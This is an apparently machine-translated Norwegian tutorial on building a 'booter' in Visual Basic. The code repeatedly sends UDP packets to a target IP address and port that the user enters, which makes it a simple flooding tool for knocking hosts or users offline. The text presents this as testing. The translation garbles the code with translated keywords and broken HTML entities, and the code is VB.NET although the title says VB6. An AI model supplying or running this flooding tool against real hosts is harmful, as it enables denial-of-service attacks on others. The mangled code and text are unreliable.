Slik bruker VB6 lage booters

En booter er et program som forsøker å logge brukeren ut av en Internett-tilkoblet program. En booter en god måte å teste eventuelle programmer du har kodet eller en nettverkssikkerhetskonfigurasjon. Microsofts Visual Basic 6 programmeringsspråk kan brukes til å lage Booter programmer med en minimal mengde med kode. Det er en ideell språk fordi VB-applikasjoner ikke bruker mye minne og kan koble til Internett.

Bruksanvisning

1 Åpne Visual Basic programmering programmet og opprette en ny søknad. Gi navn til filen slik at den lett kan identifiseres i fremtiden; for eksempel "VB6 Booter."

2 Legg til to tekstbokser, tre blanke knapper, to etiketter og en tidtaker i søknaden. Timeren vil måle hvor lang tid den booter går.

3 Plasser de tre knappene nederst i programmet og plasser de to tekstboksene på toppen. Sett timeren i øvre høyre hjørne. Navn den første knappen til venstre "Start", den andre knappen "Stopp" og den tredje "Clear".

4 Klikk på fanen kildekoden til Visual Studio for å vise programmets kildekode. Legg til følgende linjer på toppen av koden struktur for å spesifisere hva programmet skal gjøre.

importen System.Net
importen System.Text
import System.Net.Sockets
import System.Diagnostics

5 Opprett en ny klasse for søknaden og timerens subrutine ved å legge til følgende linjer med kode.

Public Class Form1

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try

ListBox1.Items.Add (& quot; DatPktS # & quot; + TextBox1.Text + & quot; # S & quot;)
ListBox1.Items.Add (My.Computer.Info.AvailableVirtualMemory)
Dim udpClient som ny UdpClient
Dim GLOIP Som IPAddress
Dim bytCommand As Byte () = New Byte () {}
GLOIP = IPAddress.Parse (TextBox1.Text)
udpClient.Connect (GLOIP, TextBox2.Text)
bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091")
udpClient.Send (bytCommand, bytCommand.Length)
ListBox1.SelectedIndex + = 1
Catch ex As Exception
Me.Close ()
End Try
End Sub

6 Tildele subrutiner til hver av knappene i søknaden. Når du trykker, vil knappene utføre implisitt funksjon.

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
label2.forecolor = Color.Lime
label2.text = "Active!"
Timer1.Start()
End Sub

Private Sub Button2_Click (ByVal sender As System.Object, ByVal e As System.EventArgs) Håndtak Button2.Click
label2.forecolor = Color.Red
label2.text = & quot; Stoppet & quot!;
Timer1.Stop ()
End Sub

Private Sub Button3_Click (ByVal sender As System.Object, ByVal e As System.EventArgs) Håndtak Button3.Click
ListBox1.Items.Clear ()
End Sub

7 Lagre kildekoden og kompilere programmet inn i en .exe-fil. Start .exe-filen. Angi verts IP i "tekstboksen 1" for å angi en plassering som bør oppstartet. Trykk på "Start" -knappen for å starte booter.